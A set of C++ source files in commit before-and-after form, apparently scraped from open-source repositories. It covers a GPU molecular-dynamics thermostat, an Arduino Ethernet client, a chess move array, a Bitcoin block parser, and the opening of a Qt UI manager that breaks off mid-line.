CONTRIBUTORS ``AS IS'' AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND\/OR ANY\nWARRANTIES THAT THIS SOFTWARE IS FREE OF INFRINGEMENT ARE DISCLAIMED.\n\nIN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\nINDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\nBUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\nDATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\nLIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\nOR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\nADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n\/\/ Maintainer: jglaser\n\n#ifdef WIN32\n#pragma warning( push )\n#pragma warning( disable : 4244 )\n#endif\n\n#include <boost\/python.hpp>\nusing namespace boost::python;\n#include <boost\/bind.hpp>\nusing namespace boost;\n\n#include \"TwoStepNVTMTKGPU.h\"\n#include \"TwoStepNVTMTKGPU.cuh\"\n#include \"TwoStepNPTMTKGPU.cuh\"\n\n#ifdef ENABLE_MPI\n#include \"Communicator.h\"\n#include \"HOOMDMPI.h\"\n#endif\n\n\/*! \\file TwoStepNVTMTKGPU.h\n \\brief Contains code for the TwoStepNVTMTKGPU class\n*\/\n\n\/*! \\param sysdef SystemDefinition this method will act on. Must not be NULL.\n \\param group The group of particles this integration method is to work on\n \\param thermo compute for thermodynamic quantities\n \\param tau NVT period\n \\param T Temperature set point\n \\param suffix Suffix to attach to the end of log quantity names\n*\/\nTwoStepNVTMTKGPU::TwoStepNVTMTKGPU(boost::shared_ptr<SystemDefinition> sysdef,\n boost::shared_ptr<ParticleGroup> group,\n boost::shared_ptr<ComputeThermo> thermo,\n Scalar tau,\n boost::shared_ptr<Variant> T,\n const std::string& suffix)\n : TwoStepNVTMTK(sysdef, group, thermo, tau, T, suffix)\n {\n \/\/ only one GPU is supported\n if (!exec_conf->isCUDAEnabled())\n {\n m_exec_conf->msg->error() << \"Creating a TwoStepNVTMTKPU when CUDA is disabled\" << endl;\n throw std::runtime_error(\"Error initializing TwoStepNVTMTKGPU\");\n }\n\n \/\/ initialize autotuner\n std::vector<unsigned int> valid_params;\n for (unsigned int block_size = 32; block_size <= 1024; block_size += 32)\n valid_params.push_back(block_size);\n\n m_tuner_one.reset(new Autotuner(valid_params, 5, 100000, \"nvt_mtk_step_one\", this->m_exec_conf));\n m_tuner_two.reset(new Autotuner(valid_params, 5, 100000, \"nvt_mtk_step_two\", this->m_exec_conf));\n\n m_reduction_block_size = 512;\n\n \/\/ this breaks memory scaling (calculate memory requirements from global group size)\n \/\/ unless we reallocate memory with every change of the maximum particle number\n m_num_blocks = m_group->getNumMembersGlobal() \/ m_reduction_block_size + 1;\n GPUArray< Scalar > scratch(m_num_blocks, exec_conf);\n m_scratch.swap(scratch);\n\n GPUArray< Scalar> temperature(1, exec_conf, true);\n m_temperature.swap(temperature);\n }\n\n\/*! \\param timestep Current time step\n \\post Particle positions are moved forward to timestep+1 and velocities to timestep+1\/2 per the Nose-Hoover method\n*\/\nvoid TwoStepNVTMTKGPU::integrateStepOne(unsigned int timestep)\n {\n unsigned int group_size = m_group->getNumMembers();\n if (group_size == 0)\n return;\n\n \/\/ profile this step\n if (m_prof)\n m_prof->push(exec_conf, \"NVT MTK step 1\");\n\n \/\/ compute the current thermodynamic properties\n m_thermo->compute(timestep);\n\n \/\/ compute temperature for the next half time step\n m_curr_T = m_thermo->getTemperature();\n\n \/\/ advance thermostat\n advanceThermostat(timestep, false);\n\n \/\/ access all the needed data\n ArrayHandle<Scalar4> d_pos(m_pdata->getPositions(), access_location::device, access_mode::readwrite);\n ArrayHandle<Scalar4> d_vel(m_pdata->getVelocities(), access_location::device, access_mode::readwrite);\n ArrayHandle<Scalar3> d_accel(m_pdata->getAccelerations(), access_location::device, access_mode::read);\n ArrayHandle<int3> d_image(m_pdata->getImages(), access_location::device, access_mode::readwrite);\n\n BoxDim box = m_pdata->getBox();\n ArrayHandle< unsigned int > d_index_array(m_group->getIndexArray(), access_location::device, access_mode::read);\n\n \/\/ perform the update on the GPU\n m_tuner_one->begin();\n gpu_nvt_mtk_step_one(d_pos.data,\n d_vel.data,\n d_accel.data,\n d_image.data,\n d_index_array.data,\n group_size,\n box,\n m_tuner_one->getParam(),\n m_exp_thermo_fac,\n m_deltaT);\n\n if (exec_conf->isCUDAErrorCheckingEnabled())\n CHECK_CUDA_ERROR();\n m_tuner_one->end();\n\n \/\/ done profiling\n if (m_prof)\n m_prof->pop(exec_conf);\n }\n\n\/*! \\param timestep Current time step\n \\post particle velocities are moved forward to timestep+1 on the GPU\n*\/\nvoid TwoStepNVTMTKGPU::integrateStepTwo(unsigned int timestep)\n {\n unsigned int group_size = m_group->getNumMembers();\n\n const GPUArray< Scalar4 >& net_force = m_pdata->getNetForce();\n\n \/\/ profile this step\n if (m_prof)\n m_prof->push(exec_conf, \"NVT MTK step 2\");\n\n ArrayHandle<Scalar4> d_vel(m_pdata->getVelocities(), access_location::device, access_mode::readwrite);\n ArrayHandle<Scalar3> d_accel(m_pdata->getAccelerations(), access_location::device, access_mode::readwrite);\n\n ArrayHandle<Scalar4> d_net_force(net_force, access_location::device, access_mode::read);\n ArrayHandle< unsigned int > d_index_array(m_group->getIndexArray(), access_location::device, access_mode::read);\n\n \/\/ perform the update on the GPU\n m_tuner_two->begin();\n gpu_nvt_mtk_step_two(d_vel.data,\n d_accel.data,\n d_index_array.data,\n group_size,\n d_net_force.data,\n m_tuner_two->getParam(),\n m_deltaT);\n\n if (exec_conf->isCUDAErrorCheckingEnabled())\n CHECK_CUDA_ERROR();\n\n m_tuner_two->end();\n\n {\n \/\/ recalulate temperature\n ArrayHandle<Scalar> d_temperature(m_temperature, access_location::device, access_mode::overwrite);\n ArrayHandle<Scalar> d_scratch(m_scratch, access_location::device, access_mode::overwrite);\n\n \/\/ update number of blocks to current group size\n m_num_blocks = m_group->getNumMembers() \/ m_reduction_block_size + 1;\n\n gpu_npt_mtk_temperature(d_temperature.data,\n d_vel.data,\n d_scratch.data,\n m_num_blocks,\n m_reduction_block_size,\n d_index_array.data,\n group_size,\n m_thermo->getNDOF());\n if (m_exec_conf->isCUDAErrorCheckingEnabled())\n CHECK_CUDA_ERROR();\n }\n\n \/\/ read back intermediate temperature from GPU\n {\n ArrayHandle<Scalar> h_temperature(m_temperature, access_location::host, access_mode::read);\n m_curr_T= *h_temperature.data;\n }\n\n #ifdef ENABLE_MPI\n if (m_comm)\n {\n MPI_Allreduce(MPI_IN_PLACE, &m_curr_T, 1, MPI_HOOMD_SCALAR, MPI_SUM, m_exec_conf->getMPICommunicator() );\n }\n #endif\n\n\n \/\/ get temperature and advance thermostat\n advanceThermostat(timestep+1,true);\n\n \/\/ rescale velocities\n gpu_npt_mtk_thermostat(d_vel.data,\n d_index_array.data,\n group_size,\n m_exp_thermo_fac);\n\n if (m_exec_conf->isCUDAErrorCheckingEnabled())\n CHECK_CUDA_ERROR();\n\n \/\/ done profiling\n if (m_prof)\n m_prof->pop(exec_conf);\n }\n\nvoid export_TwoStepNVTMTKGPU()\n {\n class_<TwoStepNVTMTKGPU, boost::shared_ptr<TwoStepNVTMTKGPU>, bases<TwoStepNVTMTK>, boost::noncopyable>\n (\"TwoStepNVTMTKGPU\", init< boost::shared_ptr<SystemDefinition>,\n boost::shared_ptr<ParticleGroup>,\n boost::shared_ptr<ComputeThermo>,\n Scalar,\n boost::shared_ptr<Variant>,\n const std::string&\n >())\n ;\n }\n\n#ifdef WIN32\n#pragma warning( pop )\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include \"utility\/w5100.h\"\n#include \"utility\/socket.h\"\n\nextern \"C\" {\n #include \"string.h\"\n}\n\n#include \"Arduino.h\"\n\n#include \"Ethernet.h\"\n#include \"EthernetClient.h\"\n#include \"EthernetServer.h\"\n#include \"Dns.h\"\n\nuint16_t EthernetClient::_srcport = 49152; \/\/Use IANA recommended ephemeral port range 49152-65535\n\nEthernetClient::EthernetClient() : _sock(MAX_SOCK_NUM) {\n}\n\nEthernetClient::EthernetClient(uint8_t sock) : _sock(sock) {\n}\n\nint EthernetClient::connect(const char* host, uint16_t port) {\n \/\/ Look up the host first\n int ret = 0;\n DNSClient dns;\n IPAddress remote_addr;\n\n dns.begin(Ethernet.dnsServerIP());\n ret = dns.getHostByName(host, remote_addr);\n if (ret == 1) {\n return connect(remote_addr, port);\n } else {\n return ret;\n }\n}\n\nint EthernetClient::connect(IPAddress ip, uint16_t port) {\n if (_sock != MAX_SOCK_NUM)\n return 0;\n\n for (int i = 0; i < MAX_SOCK_NUM; i++) {\n uint8_t s = socketStatus(i);\n if (s == SnSR::CLOSED || s == SnSR::FIN_WAIT || s == SnSR::CLOSE_WAIT) {\n _sock = i;\n break;\n }\n }\n\n if (_sock == MAX_SOCK_NUM)\n return 0;\n\n _srcport++;\n if (_srcport == 0) _srcport = 49152; \/\/Use IANA recommended ephemeral port range 49152-65535\n socket(_sock, SnMR::TCP, _srcport, 0);\n\n if (!::connect(_sock, rawIPAddress(ip), port)) {\n _sock = MAX_SOCK_NUM;\n return 0;\n }\n\n while (status() != SnSR::ESTABLISHED) {\n delay(1);\n if (status() == SnSR::CLOSED) {\n _sock = MAX_SOCK_NUM;\n return 0;\n }\n }\n\n return 1;\n}\n\nsize_t EthernetClient::write(uint8_t b) {\n return write(&b, 1);\n}\n\nsize_t EthernetClient::write(const uint8_t *buf, size_t size) {\n if (_sock == MAX_SOCK_NUM) {\n setWriteError();\n return 0;\n }\n if (!send(_sock, buf, size)) {\n setWriteError();\n return 0;\n }\n return size;\n}\n\nint EthernetClient::available() {\n if (_sock != MAX_SOCK_NUM)\n return recvAvailable(_sock);\n return 0;\n}\n\nint EthernetClient::read() {\n uint8_t b;\n if ( recv(_sock, &b, 1) > 0 )\n {\n \/\/ recv worked\n return b;\n }\n else\n {\n \/\/ No data available\n return -1;\n }\n}\n\nint EthernetClient::read(uint8_t *buf, size_t size) {\n return recv(_sock, buf, size);\n}\n\nint EthernetClient::peek() {\n uint8_t b;\n \/\/ Unlike recv, peek doesn't check to see if there's any data available, so we must\n if (!available())\n return -1;\n ::peek(_sock, &b);\n return b;\n}\n\nvoid EthernetClient::flush() {\n ::flush(_sock);\n}\n\nvoid EthernetClient::stop() {\n if (_sock == MAX_SOCK_NUM)\n return;\n\n \/\/ attempt to close the connection gracefully (send a FIN to other side)\n disconnect(_sock);\n unsigned long start = millis();\n\n \/\/ wait up to a second for the connection to close\n uint8_t s;\n do {\n s = status();\n if (s == SnSR::CLOSED)\n break; \/\/ exit the loop\n delay(1);\n } while (millis() - start < 1000);\n\n \/\/ if it hasn't closed, close it forcefully\n if (s != SnSR::CLOSED)\n close(_sock);\n\n EthernetClass::_server_port[_sock] = 0;\n _sock = MAX_SOCK_NUM;\n}\n\nuint8_t EthernetClient::connected() {\n if (_sock == MAX_SOCK_NUM) return 0;\n \n uint8_t s = status();\n return !(s == SnSR::LISTEN || s == SnSR::CLOSED || s == SnSR::FIN_WAIT ||\n (s == SnSR::CLOSE_WAIT && !available()));\n}\n\nuint8_t EthernetClient::status() {\n if (_sock == MAX_SOCK_NUM) return SnSR::CLOSED;\n return socketStatus(_sock);\n}\n\n\/\/ the next function allows us to use the client returned by\n\/\/ EthernetServer::available() as the condition in an if-statement.\n\nEthernetClient::operator bool() {\n return _sock != MAX_SOCK_NUM;\n}\n\nbool EthernetClient::operator==(const EthernetClient& rhs) {\n return _sock == rhs._sock && _sock != MAX_SOCK_NUM && rhs._sock != MAX_SOCK_NUM;\n}\n\n+uint8_t EthernetClient::getSocketNumber () {\n+\treturn _sock;\n+}\n<commit_msg>Removed typos in EthernetClient.cpp<commit_after>#include \"utility\/w5100.h\"\n#include \"utility\/socket.h\"\n\nextern \"C\" {\n #include \"string.h\"\n}\n\n#include \"Arduino.h\"\n\n#include \"Ethernet.h\"\n#include \"EthernetClient.h\"\n#include \"EthernetServer.h\"\n#include \"Dns.h\"\n\nuint16_t EthernetClient::_srcport = 49152; \/\/Use IANA recommended ephemeral port range 49152-65535\n\nEthernetClient::EthernetClient() : _sock(MAX_SOCK_NUM) {\n}\n\nEthernetClient::EthernetClient(uint8_t sock) : _sock(sock) {\n}\n\nint EthernetClient::connect(const char* host, uint16_t port) {\n \/\/ Look up the host first\n int ret = 0;\n DNSClient dns;\n IPAddress remote_addr;\n\n dns.begin(Ethernet.dnsServerIP());\n ret = dns.getHostByName(host, remote_addr);\n if (ret == 1) {\n return connect(remote_addr, port);\n } else {\n return ret;\n }\n}\n\nint EthernetClient::connect(IPAddress ip, uint16_t port) {\n if (_sock != MAX_SOCK_NUM)\n return 0;\n\n for (int i = 0; i < MAX_SOCK_NUM; i++) {\n uint8_t s = socketStatus(i);\n if (s == SnSR::CLOSED || s == SnSR::FIN_WAIT || s == SnSR::CLOSE_WAIT) {\n _sock = i;\n break;\n }\n }\n\n if (_sock == MAX_SOCK_NUM)\n return 0;\n\n _srcport++;\n if (_srcport == 0) _srcport = 49152; \/\/Use IANA recommended ephemeral port range 49152-65535\n socket(_sock, SnMR::TCP, _srcport, 0);\n\n if (!::connect(_sock, rawIPAddress(ip), port)) {\n _sock = MAX_SOCK_NUM;\n return 0;\n }\n\n while (status() != SnSR::ESTABLISHED) {\n delay(1);\n if (status() == SnSR::CLOSED) {\n _sock = MAX_SOCK_NUM;\n return 0;\n }\n }\n\n return 1;\n}\n\nsize_t EthernetClient::write(uint8_t b) {\n return write(&b, 1);\n}\n\nsize_t EthernetClient::write(const uint8_t *buf, size_t size) {\n if (_sock == MAX_SOCK_NUM) {\n setWriteError();\n return 0;\n }\n if (!send(_sock, buf, size)) {\n setWriteError();\n return 0;\n }\n return size;\n}\n\nint EthernetClient::available() {\n if (_sock != MAX_SOCK_NUM)\n return recvAvailable(_sock);\n return 0;\n}\n\nint EthernetClient::read() {\n uint8_t b;\n if ( recv(_sock, &b, 1) > 0 )\n {\n \/\/ recv worked\n return b;\n }\n else\n {\n \/\/ No data available\n return -1;\n }\n}\n\nint EthernetClient::read(uint8_t *buf, size_t size) {\n return recv(_sock, buf, size);\n}\n\nint EthernetClient::peek() {\n uint8_t b;\n \/\/ Unlike recv, peek doesn't check to see if there's any data available, so we must\n if (!available())\n return -1;\n ::peek(_sock, &b);\n return b;\n}\n\nvoid EthernetClient::flush() {\n ::flush(_sock);\n}\n\nvoid EthernetClient::stop() {\n if (_sock == MAX_SOCK_NUM)\n return;\n\n \/\/ attempt to close the connection gracefully (send a FIN to other side)\n disconnect(_sock);\n unsigned long start = millis();\n\n \/\/ wait up to a second for the connection to close\n uint8_t s;\n do {\n s = status();\n if (s == SnSR::CLOSED)\n break; \/\/ exit the loop\n delay(1);\n } while (millis() - start < 1000);\n\n \/\/ if it hasn't closed, close it forcefully\n if (s != SnSR::CLOSED)\n close(_sock);\n\n EthernetClass::_server_port[_sock] = 0;\n _sock = MAX_SOCK_NUM;\n}\n\nuint8_t EthernetClient::connected() {\n if (_sock == MAX_SOCK_NUM) return 0;\n\n uint8_t s = status();\n return !(s == SnSR::LISTEN || s == SnSR::CLOSED || s == SnSR::FIN_WAIT ||\n (s == SnSR::CLOSE_WAIT && !available()));\n}\n\nuint8_t EthernetClient::status() {\n if (_sock == MAX_SOCK_NUM) return SnSR::CLOSED;\n return socketStatus(_sock);\n}\n\n\/\/ the next function allows us to use the client returned by\n\/\/ EthernetServer::available() as the condition in an if-statement.\n\nEthernetClient::operator bool() {\n return _sock != MAX_SOCK_NUM;\n}\n\nbool EthernetClient::operator==(const EthernetClient& rhs) {\n return _sock == rhs._sock && _sock != MAX_SOCK_NUM && rhs._sock != MAX_SOCK_NUM;\n}\n\nuint8_t EthernetClient::getSocketNumber() {\n return _sock;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"movearray.hpp\"\n\nMoveArray::MoveArray() : count(0), num_attacks(0) {\n\t\/\/moveArray = new BitMove[100];\n\tmoveArray.resize(100);\n}\n\nMoveArray::~MoveArray() {}\n\nvoid MoveArray::clear() {\n\tcount = 0;\n\tnum_attacks = 0;\n}\n\nvoid MoveArray::addMove(BitMove mv) {\n\tmoveArray[count] = mv;\n\t++count;\n}\n<commit_msg>Размер массива в moveArray изменен на 109<commit_after>#include \"movearray.hpp\"\n\nMoveArray::MoveArray() : count(0), num_attacks(0) {\n\t\/\/moveArray = new BitMove[100];\n\tmoveArray.resize(109);\n}\n\nMoveArray::~MoveArray() {}\n\nvoid MoveArray::clear() {\n\tcount = 0;\n\tnum_attacks = 0;\n}\n\nvoid MoveArray::addMove(BitMove mv) {\n\tmoveArray[count] = mv;\n\t++count;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <cstdio>\n#include <cstring>\n#include <ctime>\n#include <iostream>\n#include <memory>\n\n#include \"block.hpp\"\n#include \"hash.hpp\"\n#include \"slice.hpp\"\n#include \"threadpool.hpp\"\n#include \"transforms.hpp\"\n\nint main (int argc, char** argv) {\n\ttime_t start, end;\n\ttime(&start);\n\n\tstd::unique_ptr<transform_t> delegate;\n\tsize_t memoryAlloc = 200 * 1024 * 1024;\n\tsize_t nThreads = 1;\n\n\t\/\/ parse command line arguments\n\tfor (auto i = 1; i < argc; ++i) {\n\t\tconst auto arg = argv[i];\n\t\tsize_t transformIndex = 0;\n\n\t\tif (sscanf(arg, \"-t%lu\", &transformIndex) == 1) {\n\t\t\tassert(delegate == nullptr);\n\n\t\t\t\/\/ raw\n\t\t\tif (transformIndex == 0) delegate.reset(new dumpHeaders());\n\t\t\telse if (transformIndex == 1) delegate.reset(new dumpScripts());\n\n\t\t\t\/\/ indexd\n\t\t\telse if (transformIndex == 2) delegate.reset(new dumpScriptIndex());\n\t\t\telse if (transformIndex == 3) delegate.reset(new dumpSpentIndex());\n\t\t\telse if (transformIndex == 4) delegate.reset(new dumpTxIndex());\n\t\t\telse if (transformIndex == 5) delegate.reset(new dumpTxOutIndex());\n\t\t\telse if (transformIndex == 8) delegate.reset(new dumpIndexdLevel());\n\n\t\t\t\/\/ statistics\n\t\t\telse if (transformIndex == 6) delegate.reset(new dumpStatistics());\n\t\t\telse if (transformIndex == 7) delegate.reset(new dumpOutputValuesOverHeight());\n\n\t\t\tcontinue;\n\t\t}\n\t\tif (sscanf(arg, \"-j%lu\", &nThreads) == 1) continue;\n\t\tif (sscanf(arg, \"-m%lu\", &memoryAlloc) == 1) continue;\n\n\t\tif (delegate && delegate->initialize(arg)) continue;\n\t\tassert(false);\n\t}\n\n\tassert(delegate != nullptr);\n\n\t\/\/ pre-allocate buffers\n\tconst auto halfMemoryAlloc = memoryAlloc \/ 2;\n\tHeapSlice iobuffer(halfMemoryAlloc);\n\tstd::cerr << \"Allocated IO buffer (\" << halfMemoryAlloc << \" bytes)\" << std::endl;\n\n\tHeapSlice buffer(halfMemoryAlloc);\n\tstd::cerr << \"Allocated active buffer (\" << halfMemoryAlloc << \" bytes)\" << std::endl;\n\n\tThreadPool<std::function<void(void)>> pool(nThreads);\n\tstd::cerr << \"Initialized \" << nThreads << \" threads in the thread pool\" << std::endl;\n\n\tsize_t count = 0;\n\tsize_t remainder = 0;\n\tsize_t accum = 0;\n\tsize_t invalid = 0;\n\n\twhile (true) {\n\t\tconst auto rbuf = iobuffer.drop(remainder);\n\t\tconst auto read = fread(rbuf.begin(), 1, rbuf.length(), stdin);\n\t\tconst auto eof = static_cast<size_t>(read) < rbuf.length();\n\t\taccum += read;\n\n\t\t\/\/ wait for all workers before overwrite\n\t\tpool.wait();\n\n\t\t\/\/ copy iobuffer to buffer, allows iobuffer to be modified independently after\n\t\tmemcpy(buffer.begin(), iobuffer.begin(), halfMemoryAlloc);\n\n\t\tauto data = buffer.take(remainder + read);\n\t\tif (invalid > 0) {\n\t\t\tstd::cerr << std::endl << \"--- Skipped \" << invalid << \" bad bytes\" << std::endl;\n\t\t\tinvalid = 0;\n\t\t}\n\t\tstd::cerr << \"-- Parsed \" << count << \" blocks (read \" << read \/ 1024 << \" KiB, \" << accum \/ 1024 \/ 1024 << \" MiB total)\" << (eof ? \" EOF\" : \"\") << std::endl;\n\n\t\twhile (data.length() >= 88) {\n\t\t\t\/\/ skip bad data (e.g bitcoind zero pre-allocations)\n\t\t\tif (data.peek<uint32_t>() != 0xd9b4bef9) {\n\t\t\t\tdata.popFrontN(1);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t\/\/ skip bad data cont.\n\t\t\tconst auto header = data.drop(8).take(80);\n\t\t\tif (!Block(header).verify()) {\n\t\t\t\tdata.popFrontN(1);\n\n\t\t\t\tstd::cerr << '.';\n\t\t\t\t++invalid;\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (invalid > 0) {\n\t\t\t\tstd::cerr << std::endl << \"--- Skipped \" << invalid << \" bad bytes\" << std::endl;\n\t\t\t\tinvalid = 0;\n\t\t\t}\n\n\t\t\t\/\/ do we have enough data?\n\t\t\tconst auto length = data.drop(4).peek<uint32_t>();\n\t\t\tconst auto total = 8 + length;\n\t\t\tif (total > data.length()) break;\n\t\t\tdata.popFrontN(8);\n\n\t\t\t\/\/ send the block data to the threadpool\n\t\t\tconst auto block = Block(header, data.drop(80));\n\n\t\t\tpool.push([block, &delegate]() {\n\t\t\t\tdelegate->operator()(block);\n\t\t\t});\n\t\t\tcount++;\n\n\t\t\tdata.popFrontN(length);\n\t\t}\n\n\t\tif (eof) break;\n\n\t\t\/\/ assign remainder to front of iobuffer (rbuf is offset to avoid overwrite on rawRead)\n\t\tremainder = data.length();\n\t\tmemcpy(iobuffer.begin(), data.begin(), remainder);\n\t}\n\n\ttime(&end);\n\tstd::cerr << \"Parsed \" << count << \" blocks in \" << difftime(end, start) << \" seconds\" << std::endl;\n\n\treturn 0;\n}\n<commit_msg>parser: new line before final parsed message<commit_after>#include <cstdio>\n#include <cstring>\n#include <ctime>\n#include <iostream>\n#include <memory>\n\n#include \"block.hpp\"\n#include \"hash.hpp\"\n#include \"slice.hpp\"\n#include \"threadpool.hpp\"\n#include \"transforms.hpp\"\n\nint main (int argc, char** argv) {\n\ttime_t start, end;\n\ttime(&start);\n\n\tstd::unique_ptr<transform_t> delegate;\n\tsize_t memoryAlloc = 200 * 1024 * 1024;\n\tsize_t nThreads = 1;\n\n\t\/\/ parse command line arguments\n\tfor (auto i = 1; i < argc; ++i) {\n\t\tconst auto arg = argv[i];\n\t\tsize_t transformIndex = 0;\n\n\t\tif (sscanf(arg, \"-t%lu\", &transformIndex) == 1) {\n\t\t\tassert(delegate == nullptr);\n\n\t\t\t\/\/ raw\n\t\t\tif (transformIndex == 0) delegate.reset(new dumpHeaders());\n\t\t\telse if (transformIndex == 1) delegate.reset(new dumpScripts());\n\n\t\t\t\/\/ indexd\n\t\t\telse if (transformIndex == 2) delegate.reset(new dumpScriptIndex());\n\t\t\telse if (transformIndex == 3) delegate.reset(new dumpSpentIndex());\n\t\t\telse if (transformIndex == 4) delegate.reset(new dumpTxIndex());\n\t\t\telse if (transformIndex == 5) delegate.reset(new dumpTxOutIndex());\n\t\t\telse if (transformIndex == 8) delegate.reset(new dumpIndexdLevel());\n\n\t\t\t\/\/ statistics\n\t\t\telse if (transformIndex == 6) delegate.reset(new dumpStatistics());\n\t\t\telse if (transformIndex == 7) delegate.reset(new dumpOutputValuesOverHeight());\n\n\t\t\tcontinue;\n\t\t}\n\t\tif (sscanf(arg, \"-j%lu\", &nThreads) == 1) continue;\n\t\tif (sscanf(arg, \"-m%lu\", &memoryAlloc) == 1) continue;\n\n\t\tif (delegate && delegate->initialize(arg)) continue;\n\t\tassert(false);\n\t}\n\n\tassert(delegate != nullptr);\n\n\t\/\/ pre-allocate buffers\n\tconst auto halfMemoryAlloc = memoryAlloc \/ 2;\n\tHeapSlice iobuffer(halfMemoryAlloc);\n\tstd::cerr << \"Allocated IO buffer (\" << halfMemoryAlloc << \" bytes)\" << std::endl;\n\n\tHeapSlice buffer(halfMemoryAlloc);\n\tstd::cerr << \"Allocated active buffer (\" << halfMemoryAlloc << \" bytes)\" << std::endl;\n\n\tThreadPool<std::function<void(void)>> pool(nThreads);\n\tstd::cerr << \"Initialized \" << nThreads << \" threads in the thread pool\" << std::endl;\n\n\tsize_t count = 0;\n\tsize_t remainder = 0;\n\tsize_t accum = 0;\n\tsize_t invalid = 0;\n\n\twhile (true) {\n\t\tconst auto rbuf = iobuffer.drop(remainder);\n\t\tconst auto read = fread(rbuf.begin(), 1, rbuf.length(), stdin);\n\t\tconst auto eof = static_cast<size_t>(read) < rbuf.length();\n\t\taccum += read;\n\n\t\t\/\/ wait for all workers before overwrite\n\t\tpool.wait();\n\n\t\t\/\/ copy iobuffer to buffer, allows iobuffer to be modified independently after\n\t\tmemcpy(buffer.begin(), iobuffer.begin(), halfMemoryAlloc);\n\n\t\tauto data = buffer.take(remainder + read);\n\t\tif (invalid > 0) {\n\t\t\tstd::cerr << std::endl << \"-- Skipped \" << invalid << \" bad bytes\" << std::endl;\n\t\t\tinvalid = 0;\n\t\t}\n\t\tstd::cerr << \"-- Parsed \" << count << \" blocks (read \" << read \/ 1024 << \" KiB, \" << accum \/ 1024 \/ 1024 << \" MiB total)\" << (eof ? \" EOF\" : \"\") << std::endl;\n\n\t\twhile (data.length() >= 88) {\n\t\t\t\/\/ skip bad data (e.g bitcoind zero pre-allocations)\n\t\t\tif (data.peek<uint32_t>() != 0xd9b4bef9) {\n\t\t\t\tdata.popFrontN(1);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t\/\/ skip bad data cont.\n\t\t\tconst auto header = data.drop(8).take(80);\n\t\t\tif (!Block(header).verify()) {\n\t\t\t\tdata.popFrontN(1);\n\n\t\t\t\tstd::cerr << '.';\n\t\t\t\t++invalid;\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (invalid > 0) {\n\t\t\t\tstd::cerr << std::endl << \"-- Skipped \" << invalid << \" bad bytes\" << std::endl;\n\t\t\t\tinvalid = 0;\n\t\t\t}\n\n\t\t\t\/\/ do we have enough data?\n\t\t\tconst auto length = data.drop(4).peek<uint32_t>();\n\t\t\tconst auto total = 8 + length;\n\t\t\tif (total > data.length()) break;\n\t\t\tdata.popFrontN(8);\n\n\t\t\t\/\/ send the block data to the threadpool\n\t\t\tconst auto block = Block(header, data.drop(80));\n\n\t\t\tpool.push([block, &delegate]() {\n\t\t\t\tdelegate->operator()(block);\n\t\t\t});\n\t\t\tcount++;\n\n\t\t\tdata.popFrontN(length);\n\t\t}\n\n\t\tif (eof) break;\n\n\t\t\/\/ assign remainder to front of iobuffer (rbuf is offset to avoid overwrite on rawRead)\n\t\tremainder = data.length();\n\t\tmemcpy(iobuffer.begin(), data.begin(), remainder);\n\t}\n\n\tif (invalid > 0) {\n\t\tstd::cerr << std::endl << \"-- Skipped \" << invalid << \" bad bytes\" << std::endl;\n\t\tinvalid = 0;\n\t}\n\n\ttime(&end);\n\tstd::cerr << \"Parsed \" << count << \" blocks in \" << difftime(end, start) << \" seconds\" << std::endl;\n\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2007-2015 QReal Research Group, Dmitry Mordvinov\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License. *\/\n\n#include \"uiManager.h\"\n\n#include <QtCore\/QTimer>\n#include <QtWidgets\/QAction>\n#include <QtWidgets\/QDialog>\n#include <QtWidgets\/QLineEdit>\n#include <QtWidgets\/QPushButton>\n#include <QtWidgets\/QStatusBar>\n#include <QtWidgets\/QToolBar>\n#include <QtWidgets\/QVBoxLayout>\n\n#include <qrkernel\/logging.h>\n#include <qrkernel\/settingsManager.h>\n#include <qrutils\/inFile.h>\n#include <qrutils\/smartDock.h>\n#include <qrutils\/widgets\/consoleDock.h>\n#include <kitBase\/robotModel\/robotModelUtils.h>\n#include <kitBase\/robotModel\/robotParts\/shell.h>\n\n#include \"src\/ui\/modeStripe.h\"\n\nusing namespace interpreterCore;\n\nstatic const QColor backgrondColor = QPalette().color(QPalette::Background);\nstatic const QColor editModeColor = QPalette().color(QPalette::Background);\nstatic const QColor debugModeColor = qRgb(152, 251, 152);\n\nUiManager::UiManager(QAction &debugModeAction\n\t\t, QAction &editModeAction\n\t\t, qReal::gui::MainWindowDockInterface &mainWindow\n\t\t, qReal::SystemEvents &systemEvents\n\t\t, kitBase::EventsForKitPluginInterface &kitPluginEvents\n\t\t, kitBase::robotModel::RobotModelManagerInterface &robotModelManager)\n\t: mDebugModeAction(debugModeAction)\n\t, mEditModeAction(editModeAction)\n\t, mMainWindow(mainWindow)\n\t, mRobotConsole(new qReal::ui::ConsoleDock(tr(\"Robot console\"), mMainWindow.windowWidget()))\n{\n\tmMainWindow.graphicalModelDock()->setWindowTitle(QObject::tr(\"Blocks\"));\n\n\tconnect(&systemEvents, &qReal::SystemEvents::activeTabChanged, this, &UiManager::onActiveTabChanged);\n\tconnect(&systemEvents, 